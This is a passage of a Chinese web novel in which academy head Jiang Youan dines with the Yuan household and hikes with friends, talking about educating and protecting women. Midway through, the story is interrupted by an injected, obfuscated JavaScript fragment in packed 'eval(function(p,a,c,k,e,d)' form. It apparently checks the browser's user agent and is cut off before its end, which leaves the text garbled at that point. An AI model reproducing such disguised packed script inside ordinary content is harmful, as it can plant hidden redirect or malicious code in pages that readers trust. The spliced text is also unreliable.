“我家娘子说你把书院交给我们,我们却没能护好这些学生,该好好向你请罪才是。”辛开元说道。 姜佑安在板凳上坐了,拉着袁竹也坐下,“我们都是一家人,用不着说这些,我知道,你们想保护学生们的心,跟我是一样的,我不在,你们要处理的事那么多,顾及不到也是有的,我都跟学生们说好了,要是再发生什么让她们觉得不舒服的事,就来告诉我们的,而且,咱们不还有小阮在吗?就算她们不说,小阮也会来告诉我们的。” “我会多注意的。”阮荷说道。 饭菜已经都端上了桌,姜佑安招呼大家一起坐下,“都坐吧,小阮都这么说了,你们就不要自责了,以后我们都多留意一些就是了。” “是我做的不够好。”袁竹拿起了酒壶,“我先自罚三杯吧。” 辛开元夺过了酒壶,“娘子,我来替你受罚。” 姜佑安皱起了眉头,她轻轻拍了两下桌子,“谁说要惩罚你们了?我一向最不喜欢逼人喝酒,你想喝就喝,不想喝就不喝,不要算在我头上,今天的事已经过去了,除了公孙博,没有人需要受罚。” 见姜佑安有些生气,袁竹和辛开元都放下了酒壶和酒杯,杨恩把酒壶拿了起来,“今天都有谁要喝酒?我来斟吧。” 姜佑安摆了摆手,“你坐下吧,大家都是一家人,谁也不用跟谁客气,想喝的,自己倒就行了,你吃你的。” “行,那我就给自己倒一杯,今天咱们袁家自己人团聚一场,开开心心的多好,你们就别闹别扭了。”杨恩给自己倒了酒,把酒壶放在了辛开元的手边。 “我可没想闹别扭,当着学生们的面痛打了公孙博一顿,我觉得痛快极了。”姜佑安说道。 “你走了之后,大家都在说院长太厉害了,以后一定跟着你好好学骑射,还要学拳脚功夫,相信她们以后再遇到这种事,也知道该怎么办了。”阮荷笑着说道。 “那挺好。”姜佑安给自己倒了茶,举杯看向李长风和辛开元,“还要拜托你们两位老师用心教了。” “那是自然。”李长风举起茶杯,辛开元举起酒杯,三人碰了杯,各自喝下了杯中物。 阮荷拿起了筷子,“大家动筷吧,今天的菜是我和袁姐姐还有杨恩大哥一起做的,大家尝尝怎么样。” “你跟杨恩做的肯定没问题,好久没吃过袁竹做的菜了,哪道菜是她做的?我尝尝是不是还像以前一样难吃。”姜佑安笑着说道。 “袁姐姐做的不难吃的,是你们公主府的厨子太厉害,你吃的都是好东西,才觉得袁姐姐的菜一般。”阮荷说着,指向了一盘腊肉炒笋,“这盘就是袁姐姐做的,味道很不错的,你尝尝。” 姜佑安夹起一片笋放进嘴里,细细咀嚼着,“嗯,还行,就是盐味有点淡。” “淡吗?我尝着正好啊。”袁竹也夹了一片笋尝了尝,“好像是有点淡,真是怪了,我炒的时候怎么尝着不淡呢?” “袁娘子久不下厨,掌握不好咸淡也正常,那腊肉咸,搭在一起吃正好。”杨恩说道。 “对啊,淡点儿总比咸了好。”戴庭芳也附和道。 “我吃着正好,你们要是不爱吃,那就都是我的了。”辛开元说着,夹了一筷子笋片和腊肉塞进了嘴里。 姜佑安笑了,“你请我们来做客,怎么还要霸占着自己家的菜不让我们吃?” “袁娘子的手艺,辛老师肯定爱吃。”杨恩站起身来,“这鸡汤是我炖的,我给你盛一碗,你尝尝合不合胃口。” 姜佑安伸手把小碗递了过去,杨恩盛了半碗汤和几块鸡肉,递给了姜佑安,姜佑安尝了,觉得非常鲜美,让大家也都尝尝。 “做菜这事,还是小阮和杨恩比较擅长,袁竹你还是养花写书去吧。”姜佑安笑着说道。 一直低头吃饭的李长风抬起头来,惊讶地问道:“袁姐姐你在写书?” 袁竹有些害羞地笑了,“不是什么书,就是把种花的技艺记录下来,以后翻着也方便。” “袁姐姐写的种植方法简单易懂,要是刊刻出来,放到书铺里卖,说不定会有很多爱种花的人买。”阮荷说道。 “袁姐姐真厉害!”李长风夸赞道。 “小阮,你把你种碗莲的方法也记录下来吧,到时候整理出来了,咱们就拿去一起刊刻。”姜佑安说道。 “你真是说风就是雨,我写的那些东西,哪能刻印成书?别让人笑话了。”袁竹说道。 “怎么不可以?你忘了那时候咱们想种水仙花,想买本书学习一下都买不到,要是有这么一本书在书铺里卖,肯定会有人买的。”姜佑安说道。 李长风看着袁竹,高兴地说道:“等印出来了,我去买!” “我也去买。”杨恩说道。 “我也去。”辛开元说道。 袁竹觉得好笑,“你们想看,去我那拿着看就是了,还买什么买?我印出来,难道就是为了挣你们几个的钱?” “娘子,我觉得印出来也挺好的,除了我们,肯定也会有别人买的。”辛开元说道。 大家一边吃饭,一边劝说着袁竹,渐渐把她说动了,当晚没有回小院睡,去自己房间整理手稿去了。 姜佑安和大家一起刷了碗,和阮荷、杨恩和李长风道了别,和戴庭芳一起回小院去了。 夜幕还没降下,姜佑安就闩上了房门,拉着戴庭芳去了床上,她久违地来了兴致,两人在床上颠来倒去地折腾了许久,才相拥着睡去。 之后的日子,姜佑安彻底放松了下来,不再忙个不停,除了去书院转转,她还会一个人去园子里走走,在茶楼喝杯茶,吃点点心,看游人穿梭在花丛中,鲜艳热闹。 这天清晨,袁竹来找姜佑安,说后面山上修了一条山上的路,让她一块去山里走走,两人走出小院,来到袁园门口,看到郭英正要往门里进,听说两人要上山,她也要凑个热闹,赶忙去叫了心柔一起来。 四人踏上石阶,说起去年修路的事,此时天已大亮,但太阳还没升起,空气不热,微风不凉,走在山林里,感觉十分舒适。 1 走到半山腰,三人停下来休息,姜佑安看着脚下的路,随意地问道:“去年来的流民,有不少都回家乡去了吧。” “金窝银窝不如自家的狗窝,洪水退了,他们自然是要回去的。”郭英说道。 “分到田地的在这里好过活,没分到的田地的,也不能指望袁老板养他们一辈子。”心柔转头看着向上延伸的石阶,“这路本来也是没必要修的,是袁老板好心,给他们找点活干,给他们发工钱,要不,他们了;连回去的盘缠都没有。” “也不是完全没有必要,上山的路修好了,方便县里人过来游春,还有重阳登高望远,也能给我们招揽来不少客人。”袁竹说道。 姜佑安笑了笑,“袁竹真是天生做生意的材料,一边做善事,一边还能想到以后做生意的事。” “他们干什么活都是一样干,要是只为了给他们发钱,就弄一些没用的东西出来,不是纯浪费吗?盖房子修路,总归是能用得上的。”袁竹说道。 “他们临走前,还有好多人特意来找袁老板道谢呢。”心柔说道。 “这一走,恐怕以后就再也见不到面了。”郭英感叹道。 姜佑安看向郭英,微笑着问道:“你怎么好像很舍不得一样?我不在的这段时间,你遇到你的意中人了?” “什么意中人!”郭英有些生气地白了姜佑安一眼,“我就是觉得我们这些女人聚在一起不容易,一旦嫁了人,就得跟着男人走,要再见面就难了。” 心柔点了点头,语气中带着无奈,“确实如此,有好几个跟我们相处得不错的姑娘,她们也想留下,可她们的相公要带她们走,她们就不得不离开,大家真真是萍水相逢,以后就各奔东西了。” 袁竹闻言,也平添了几分愁绪,“没办法,从父从夫,女人就是如此。” “你就不是这样啊,你既没有听你爹的,也没有听你丈夫的。”姜佑安反驳道。 “能向袁老板这样的,毕竟是少数,我们没钱没家产,哪里能招得到赘婿。”心柔说道。 姜佑安转身往山上走去,“招不到就算了,如果男人和袁家只能二选一,那就看你们自己的选择了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可能吧。”姜佑安嘴角带着微笑,神色坚定,“我要让她们能学会读书和思考,知道什么是自由和快乐,什么是压迫和剥削;我要让她们拥有一个共同的身份——佑安书院的学生,当她们嫁了人分散到各地,共同的身份还能让她们彼此亲近,互相帮助;我要让她们身体强健,教她们勇敢反抗,不能一味忍让,任人欺辱;我还要让她们知道,佑安书院的大门一直为她们敞开,就算嫁错了人,她们的人生也不是死局,只要她们回到这里,一切就能重新开始。” 心柔听了,感到由衷的钦佩,她激动地说道:“姜院长,你在做一件很伟大的事!” “真好啊,书院是她们的起点,也是她们的退路,佑安书院,说不定真的能护佑学生们一生平安。”郭英笑着说道。 姜佑安转身继续向上走,“希望是希望,具体做起来,就没有这么容易了。” “是不容易,不过,学生们都会在心里感念你的。”郭英说道。 袁竹跟着迈上了石阶,“书院的事我不太懂,佑安,有什么需要我们帮忙的,你尽管开口就是了。” “对,我们大家都会帮忙的。”心柔说道。 姜佑安笑了笑,“是啊,佑安书院不是我一个人的书院,也是袁家的书院,是大家的书院。” “对了,你的喜衣我已经做好了,你跟戴老师什么时候成亲啊?”郭英问道。 “等哪天找个好日子吧,大家一起吃个饭,热闹热闹就行了。”姜佑安说道。 “我听说戴老师要入赘,他父母能同意吗?”心柔问道。 几个人说着成亲的事,一路攀登到了山顶,在上面赏景聊天,不多时,太阳出来了,姜佑安觉得有些晒,跟袁竹商量着要在上面修一个亭子,放上石桌石凳,供游人遮阴歇脚。 天气逐渐热起来,几人便返身回去了,走到袁园附近时,姜佑安看到一个带着帷帽的姑娘走了进去。 “那位姑娘是来逛园子的客人吧,知道太阳晒,还戴着帷帽,比我们聪明多了。”姜佑安笑着说道。 “她不是客人,是我们袁家人。”袁竹说道。 “是吗?看不见脸,我还以为是陌生人呢。”姜佑安说道。 “她家去年冬天遭了火灾,她娘烧伤了胳膊,她烧伤了脸,两人无处可去,才来到了袁家,这里孩子多,看到她的脸会害怕,所以她出门都会带着帷帽。”心柔解释道。 袁竹有些担心,“之前她很少出门,这两天也不知道是怎么了,一大早就外出,还不让她娘跟着,真让人放心不下。” “等下我去找她聊聊吧。”郭英说道。 几人从袁园门口走过时,姜佑安向袁园门内看了一眼,那个姑娘的身影已经消失了,只能看到院子里郁郁葱葱的绿竹,竹子长得很好,已经超出了院墙一大截。 姜佑安不禁心生感慨,短短一年的时间,袁家发生了这么多事,看来自己不在,对袁家也没有太大的影响。 想想也是,自己和袁竹总有老去的那天,但只要女人们还坚守在这里,袁家的故事就会一直继续下去。 姜佑安微微一笑,随袁竹她们一起走进了袁宅大门。